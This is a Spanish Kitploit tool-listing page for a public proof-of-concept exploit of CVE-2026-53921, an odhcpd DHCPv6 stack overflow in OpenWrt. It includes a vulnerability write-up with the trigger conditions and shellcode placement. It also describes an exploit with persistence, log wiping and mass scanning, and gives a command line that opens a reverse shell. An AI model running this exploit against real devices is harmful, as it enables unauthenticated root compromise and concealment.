Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Write-Up detallado y completo de la vulnerabilidad, y Verificador y Multi-exploit para RCE en DHCPv6 de OpenWrt. Overflow de doble vector (IA_NA/IA_PD) con shellcode MIPS/ARM, cadenas ROP, proxy SOCKS5, persistencia, borrado de registros y escaneo masivo. Úsalo éticamente, mantente legal. 🔒 | Kitploit
Herramientas/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Seguridad de Sistemas EmbebidosReconocimientoFrameworks de ExploitsSeguridad IoTAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónRed TeamingGeneración de Shellcode

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Write-Up detallado y completo de la vulnerabilidad, y Verificador y Multi-exploit para RCE en DHCPv6 de OpenWrt. Overflow de doble vector (IA_NA/IA_PD) con shellcode MIPS/ARM, cadenas ROP, proxy SOCKS5, persistencia, borrado de registros y escaneo masivo. Úsalo éticamente, mantente legal. 🔒

Desarrollo de Payloads
Explotación de Binarios
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

Ver Repositorio
6124hace 2 mesesAún no revisado
Compartir

CVE-2026-53921

CVE-2026-53921 – Desbordamiento de pila en odhcpd

CVE CVSS OpenWrt

⚠️ Solo con fines educativos y pruebas autorizadas. El uso no autorizado es ilegal.


📖 Resumen de la vulnerabilidad

CVE-2026-53921 es un desbordamiento de búfer en la pila crítico en el daemon odhcpd de OpenWrt, el servidor DHCPv6/DHCPv4/RA predeterminado.

🔍 Cómo funciona

La vulnerabilidad se encuentra en el código de manejo de mensajes DHCPv6 de odhcpd, específicamente en las funciones build_ia() y dhcpv6_ia_handle_IAs().

Análisis técnico en profundidad

1. La causa raíz

El error ocurre durante la serialización (empaquetado) de los paquetes de respuesta DHCPv6. Cuando odhcpd responde a las solicitudes de los clientes, construye la respuesta en un búfer de pila de tamaño fijo de 512 bytes sin una verificación adecuada de límites.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Cómo desencadenar el desbordamiento

Un atacante envía una solicitud DHCPv6 Request (o Solicit) con:

  • 5 o más opciones IA_NA (Asociación de identidad para direcciones no temporales), cada una con una subopción IAAddress.
  • 22 o más opciones IA_PD (Asociación de identidad para delegación de prefijos).

Cada opción consume espacio en la pila mientras odhcpd construye su respuesta. Los datos acumulados superan los 512 bytes, lo que provoca el desbordamiento.

3. Dos vectores de desbordamiento


Vector Disparador Punto de desbordamiento


Sitio 1 5 opciones IA_NA build_ia() para IA_NA con direcciones IPv6

Sitio 2 22 opciones IA_PD build_ia() para IA_PD

La causa raíz es idéntica, pero el desbordamiento ocurre en diferentes rutas de código, lo que hace que ambos vectores sean igualmente explotables.

4. Disposición de la memoria

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

El atacante sobrescribe la dirección de retorno guardada para que apunte a su shellcode en memoria.

5. Requisitos de explotación


Requisito Descripción


Acceso a la red El atacante debe tener conectividad IPv6 con el objetivo

Autenticación Ninguna -- ataque sin autenticación

Privilegios odhcpd se ejecuta como root, por lo que la RCE otorga el control total del sistema

Servicio objetivo El puerto UDP 547 (DHCPv6) debe estar abierto

6. Colocación del shellcode

En un exploit real, el shellcode del atacante se coloca en los campos de dirección IPv6 de IAAddress (16 bytes por IA_NA). Los paquetes manipulados empaquetan el shellcode, el trineo NOP y la dirección de retorno en estos campos.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Cadena de impacto

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Vectores de ataque vs. estado de mitigación

Versión Estado ¿RCE posible?


odhcpd < e432dd6 Vulnerable ✅ Sí OpenWrt < 24.10.8 Vulnerable ✅ Sí OpenWrt < 25.12.5 Vulnerable ✅ Sí OpenWrt 24.10.8+ Corregido ❌ No OpenWrt 25.12.5+ Corregido ❌ No odhcpd master + e432dd6 Corregido ❌ No

9. Explotación en el mundo real

Esta vulnerabilidad es especialmente peligrosa porque:

  • odhcpd está habilitado por defecto en las instalaciones de OpenWrt.
  • No se requiere autenticación---cualquier dispositivo en el mismo segmento IPv6 puede atacar.
  • El error está en la ruta de procesamiento de solicitudes.
  • Los canarios de pila y el ASLR rara vez están presentes en dispositivos embebidos MIPS/ARM.
  • El exploit puede evadir las defensas comunes en muchos entornos embebidos.

🎯 Versiones afectadas

ComponenteVersiones vulnerablesCorregido en
odhcpd (rama master)antes del commit e432dd6e432dd6 o posterior
Lanzamientos de OpenWrt< 24.10.8
< 25.12.5
24.10.8 y 25.12.5

🧰 Herramientas

Este repositorio proporciona dos scripts independientes:

ScriptPropósitoCódigo de exploitSeguridad
verifier.pyComprobación de vulnerabilidad no intrusiva❌ No✅ Seguro
exploit.pyExploit totalmente armado✅ Sí⚠️ Peligroso

🔎 verifier.py – Comprobador de vulnerabilidades

  • Envía un Solicit DHCPv6 estándar para verificar que el servicio está activo.
  • Lee los banners HTTP/SSH para detectar la versión de OpenWrt.
  • Compara la versión con el rango vulnerable conocido.
  • No envía ningún payload de desbordamiento ni shellcode.

💥 exploit.py – Exploit completo

  • Vectores de doble desbordamiento: IA_NA (Sitio 1) y IA_PD (Sitio 2).
  • Detección automática de arquitectura (MIPS / ARM).
  • Shellcode reverse y bind de MIPS big-endian.
  • Compatibilidad con proxy SOCKS5.
  • Persistencia (backdoor en cron) y borrado de registros.
  • Escaneo con hilos y explotación masiva.
  • Codificación opcional del payload (XOR).

🚀 Instalación

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 Uso

🔍 Verificador: comprobar si un objetivo es vulnerable

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 Exploit: obtener una reverse shell (no usar para actividades ilegales, solo pruebas)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ Opciones de línea de comandos

verifier.py

ArgumentoDescripción
-u, --targetDirección IPv6 del objetivo (obligatorio)
-i, --ifaceInterfaz de red (por defecto: eth0)

exploit.py

Descargar herramienta